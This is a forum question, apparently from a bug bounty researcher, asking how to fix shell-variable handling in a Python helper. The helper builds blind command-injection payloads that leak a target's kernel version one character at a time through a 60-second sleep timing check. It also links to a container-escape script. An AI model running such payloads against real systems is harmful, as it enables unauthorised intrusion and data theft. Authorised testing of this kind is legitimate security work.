I have a script that I am using for a bug bounty program and am running blind code/command injection with. I have already made the application sleep for 60 seconds based on user id boolean comparisons, so I know it's there.
What I am trying to do now is run shell commands, set them to a shell variable and blindly assess each one char by char, true or false.
The issue I am having is that the the variables I am setting are not being picked up by the host. I am testing this on my local machine at the moment, Kali
.
When I print the output of the commands I can see $char
for example rather than the shell variable char
.
1: kernel_version=$(uname -r);
2: char=$(echo $kernel_version | head -c 1 | tail -c 1);
3: if [[ $char == M ]]; then sleep 60 ; exit; fi
How can I correct the below code so that variable are set and picked up correctly?
def bash_command(self, char, position):
cmd1 = "kernel_version=$(uname -r); "
cmd2 = f"char=$(echo $kernel_version | head -c {position} | tail -c 1); "
op = '==' if char in self.letters + self.numbers else '-eq'
cmd3 = f"if [[ $char {op} {char} ]]; then sleep 60 ; exit; fi"
print("1: " + cmd1)
print("2: " + cmd2)
print("3: " + cmd3)
return cmd1 + cmd2 + cmd3
Full Code:
https://raw.githubusercontent.com/richardcurteis/BugBountyPrograms/master/qc_container_escape.py